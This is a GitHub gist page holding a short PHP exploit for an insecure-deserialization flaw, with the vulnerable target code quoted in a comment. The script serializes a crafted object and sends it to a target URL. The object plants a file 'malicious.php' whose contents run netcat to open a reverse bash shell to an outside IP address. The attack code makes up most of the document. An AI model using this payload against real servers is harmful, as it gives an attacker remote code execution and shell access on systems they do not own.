Last active
March 7, 2021 15:49
-
-
Save tanaka-geek/0c8b43d176457f10ed9ee5da42a58f94 to your computer and use it in GitHub Desktop.
This php script is written for exploiting the serialization issue
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Foo | |
{ | |
public $user_file = "malicious.php"; | |
public $data = "<?php system('nc 192.168.1.1 443 -c bash'); ?>"; | |
} | |
$url = 'http://vuln.com/unserialize.php?r='; // Change it to arbitrary url | |
$url = $url . urlencode(serialize(new Foo)); | |
print "[+] Sending packets...[OK]\r\n"; | |
$response = file_get_contents("$url"); | |
?> | |
/* This script was written based on the source code below | |
class Foo | |
{ | |
public $file = 'file.txt'; | |
public $data = ''; | |
public function update() | |
{ | |
$this-> data = 'blah blah texts'; | |
} | |
public function __destruct() | |
# magic functions are __wakeup() and __destruct() called magic functions | |
{ | |
file_put_contents(__DIR__ . '/' . $this ->file, $this->data); | |
} | |
} | |
$input = $_GET['arepo'] ?? ''; | |
$databaseupdate = unserialize($input); | |
$app = new Foo; | |
$app -> update(); | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment